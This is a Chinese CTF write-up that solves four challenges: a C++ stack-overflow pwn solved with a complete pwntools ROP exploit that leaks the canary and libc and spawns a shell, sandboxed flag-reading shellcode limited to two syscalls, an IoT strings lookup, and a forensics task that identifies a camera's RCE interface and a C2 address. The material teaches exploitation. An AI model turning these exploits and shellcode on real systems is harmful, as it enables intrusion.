诚挚感谢复现平台:https://gz.imxbt.cn/
Vpwn
一个简单的C++ pwn,用数组模拟栈的功能,但是存在溢出和任意修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| __int64 __fastcall main(int a1, char **a2, char **a3) { int v3; int choice; int v6; __int64 v7; _BYTE v8[40]; unsigned __int64 v9;
v9 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); sub_1840((__int64)v8); while ( 1 ) { std::operator<<<std::char_traits<char>>(&std::cout, "\nMenu:\n"); std::operator<<<std::char_traits<char>>(&std::cout, "1. Edit an element in the vector\n"); std::operator<<<std::char_traits<char>>(&std::cout, "2. Push a new element\n"); std::operator<<<std::char_traits<char>>(&std::cout, "3. Pop the last element\n"); std::operator<<<std::char_traits<char>>(&std::cout, "4. Print vector\n"); std::operator<<<std::char_traits<char>>(&std::cout, "5. Exit\n"); std::operator<<<std::char_traits<char>>(&std::cout, "Enter your choice: "); std::istream::operator>>(&std::cin, &choice); switch ( choice ) { case 1: std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): "); std::istream::operator>>(&std::cin, &v7); std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: "); std::istream::operator>>(&std::cin, &v6); v3 = v6; *(_DWORD *)check(v8, v7) = v3; std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n"); break; case 2: std::operator<<<std::char_traits<char>>(&std::cout, "Enter the value to push: "); std::istream::operator>>(&std::cin, &v7); sub_18F4(v8, &v7); std::operator<<<std::char_traits<char>>(&std::cout, "Element pushed successfully.\n"); break; case 3: sub_1928(v8); std::operator<<<std::char_traits<char>>(&std::cout, "Last element popped successfully.\n"); break; case 4: sub_19BC(v8); break; case 5: std::operator<<<std::char_traits<char>>(&std::cout, "Exiting program.\n"); return 0LL; default: std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice! Please enter a valid option.\n"); break; } } }
|
大概操作比较简单,给了一个菜单,我们可以push,pop,edit,show和exit功能,我们看看push是如何实现的:
1 2 3 4 5 6 7 8 9 10 11
| __int64 __fastcall sub_18F4(__int64 a1, int *a2) { int v2; __int64 result;
v2 = *a2; result = *(_QWORD *)(a1 + 24); *(_QWORD *)(a1 + 24) = result + 1; *(_DWORD *)(a1 + 4 * result) = v2; return result; }
|
通过将数据放进a1所指向地址的一个偏移处,并且在 +24的位置设置了一个数据的个数,那么此处是存在覆盖的,因为a1也就是主函数里面的v8这个字节数组,是存在与栈上的,由于”栈”空间是储存在 +24这个固定偏移的地方,也就是说我们可以往栈上多写几个数据就可以覆盖”栈空间”了,下面具体看一下:
漏洞点调试
- 先push四个数字:1,2,3,4看看栈上的数据:

- 可以明显发现,我们push第七个数据就会覆盖”栈空间”,由于此题保护全开,我们需要泄露canary和libc,也就是我们至少要泄露rbp+8那里指向的一个可以算出libc_base的地址(本机libc版本不同,所以栈上数据不一致,实际上libc.so里面也没有__libc_start_call_main),因此我们可以假设覆盖“栈空间为20.
- 接着如何泄露canary和libc? 其实直接show就好了,我们打远程看看覆盖”栈空间”之后,show出来20个4字节的数据是什么(因为每个数据均是以unsigned int储存,输出也是,故为4字节)
1 2 3 4 5 6 7 8 9
| push(1) push(2) push(3) push(4) push(5) push(6) push(20)
show()
|

对照着之前动调的栈空间,可以得到 20 0 0 0
之后的数据便是canary,两部分都是canary,一个是高位,一个是地位,但是注意到数据有负数,要将其转化为无符号整数,即:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def check(n): if n < 0 : n += 0x100000000 return n
ru('20 0 0 0 ') canary_low = int(p.recvuntil(b' ',drop=True)) canary_high = int(p.recvuntil(b' ',drop=True))
canary_low = check(canary_low) canary_high = check(canary_high)
canary = (canary_high << 32) | canary_low
|
同理,0 0 0 0 2 0
之后的数据便是可以泄露libc了,方法和canary是一致的:
1 2 3 4 5 6 7
| libc_low = int(p.recvuntil(b' ',drop=True)) libc_high = int(p.recvuntil(b' ',drop=True)) libc_low = check(libc_low) libc_high = check(libc_high)
libc_base = (libc_high << 32) | libc_low libc.address = libc_base - 0x29d90
|
- 接下来就是布置rop链就行了,但是注意,我们要在ret_addr地方布置,由于此时“栈空间”是20,直接push的话不是在ret_addr,所以还需要先pop两个数据出来,再布置rop链即可,注意每次push仅为4字节,那么很明显了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| pop_rdi_ret = libc.address + 0x000000000002a3e5 ret = libc.address + 0x0000000000029139 bin_sh = next(libc.search(b'/bin/sh\x00')) system = libc.sym['system']
for i in range(2): pop()
push(pop_rdi_ret & 0xffffffff) push((pop_rdi_ret >> 32) & 0xffffffff )
push(bin_sh & 0xffffffff) push((bin_sh >> 32) & 0xffffffff )
push(ret & 0xffffffff) push((ret >> 32) & 0xffffffff )
push(system & 0xffffffff) push((system >> 32) & 0xffffffff )
exit()
p.interactive()
|
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| from pwn import *
def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./pwn" libc = "./libc.so.6"
p = remote("gz.imxbt.cn",....) elf = ELF(file) libc = ELF(libc)
def check(n): if n < 0 : n += 0x100000000 return n
def choice(idx): sla("Enter your choice: ",str(idx))
def edit(idx,value): choice(1) sla("Enter the index to edit (0-based): ",str(idx)) sla("Enter the new value: ",str(value))
def push(value): choice(2) sla("Enter the value to push: ",str(value))
def pop(): choice(3)
def show(): choice(4)
def exit(): choice(5)
push(1) push(2) push(3) push(4) push(5) push(6) push(20)
show()
ru('20 0 0 0 ') canary_low = int(p.recvuntil(b' ',drop=True)) canary_high = int(p.recvuntil(b' ',drop=True))
canary_low = check(canary_low) canary_high = check(canary_high)
canary = (canary_high << 32) | canary_low
lg("canary_high: ",canary_high) lg("canary_low: ",canary_low) lg("canary: ",canary)
ru('0 0 0 0 2 0 ')
libc_low = int(p.recvuntil(b' ',drop=True)) libc_high = int(p.recvuntil(b' ',drop=True)) libc_low = check(libc_low) libc_high = check(libc_high)
libc_base = (libc_high << 32) | libc_low libc.address = libc_base - 0x29d90 lg("libc_address: ",libc.address)
pop_rdi_ret = libc.address + 0x000000000002a3e5 ret = libc.address + 0x0000000000029139 bin_sh = next(libc.search(b'/bin/sh\x00')) system = libc.sym['system']
for i in range(2): pop()
push(pop_rdi_ret & 0xffffffff) push((pop_rdi_ret >> 32) & 0xffffffff )
push(bin_sh & 0xffffffff) push((bin_sh >> 32) & 0xffffffff )
push(ret & 0xffffffff) push((ret >> 32) & 0xffffffff )
push(system & 0xffffffff) push((system >> 32) & 0xffffffff )
exit()
p.interactive()
|
Heaven’s door
只允许两次syscal且开启sendbox的shellcode题目。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v4; __int64 v5; __int64 v6; __int64 v7; __pid_t v8;
init(argc, argv, envp); v8 = fork(); if ( v8 ) { printf("puchid: %d\n", v8); mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL); read(0, (void *)0x10000, 0xC3uLL); if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 ) exit(-1); sandbox(0x10000LL, 4096LL, v4, v5, v6, v7); MEMORY[0x10000](); return 0; } else { made_in_heaven(); puts("The time is Accelerating"); puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!"); return 0; } }
|
- 查看一下核心的函数
count_syscall_instructions
1 2 3 4 5 6 7 8 9 10 11 12 13
| __int64 __fastcall count_syscall_instructions(__int64 a1, __int64 a2) { unsigned int v3; unsigned __int64 i;
v3 = 0; for ( i = 0LL; i < a2 - 1; ++i ) { if ( *(_BYTE *)(a1 + i) == 15 && *(_BYTE *)(i + 1 + a1) == 5 ) ++v3; } return v3; }
|
这里就是检查 \x0f\x05
字节码的个数,这刚好是 syscall的字节码,因此我们的shellcode仅能包含两次syscall。
拿上之前在2024BaseCTF里面的脚本直接梭即可,鸣谢 gets
师傅。
(可参考:https://downbeat.top/2024/09/18/%E6%B2%99%E7%AE%B1%E7%A6%81%E7%94%A8ORW-BaseCTF/)
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import *
def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./pwn"
p = process(file)
elf = ELF(file)
shellcode = (''' mov rax, 0x67616c66 push rax mov rsi, rsp xor rax, rax xor rdi, rdi sub rdi, 100 xor rdx, rdx mov r10, 7 mov rax, 0x101 syscall mov rdi,1 mov rsi,3 mov rdx,0 mov r10,0x100 push 40 pop rax syscall ''')
ru("MADE IN HEAVEN !!!!!!!!!!!!!!!!") sd(asm(shellcode)) p.interactive()
|

IOT-blink
直接查看字符串,有个比较特殊的,很抽象。

1
| rtosandmorseisveryeasyhahhaha
|
sharkp
参考文章:https://la13x.github.io/2024/01/24/MSF-C2/#32%E4%BD%8D
1 2 3 4
| 小李的摄像头被黑客入侵了,但只捕获到了单向的流量包,请分析摄像头固件与对应的流量,回答以下问题: 1.攻击者利用摄像头哪个接口实现的RCE? 2.攻击者回连的C2服务器ip地址是什么? flag格式:flag{接口名称_ip地址} 例:flag{qweasd_127.0.0.1}
|
先查看流量包,只需查看http即可
由于是单向的流量包,但是在其中有一个返回给服务器的流量包,点击查看一下:


发现有个ELF文件,dump下来丢到ida查看:

部分代码如上,其实这就是一个mips下的shellcode,往下面看一点也是可以看到 /bin
出现的

而要求的C2回连地址就是第一张图片的光标处,可以参考开头的文章可以猜测。

也可以丢进安恒云沙箱

- 下面找接口,在上述的流量包上方发现有个POST的包,点进去看:


很明显RCE就是利用这个 setSystemAdmin
接口
那么flag就是flag{setSystemAdmin_115.195.88.161}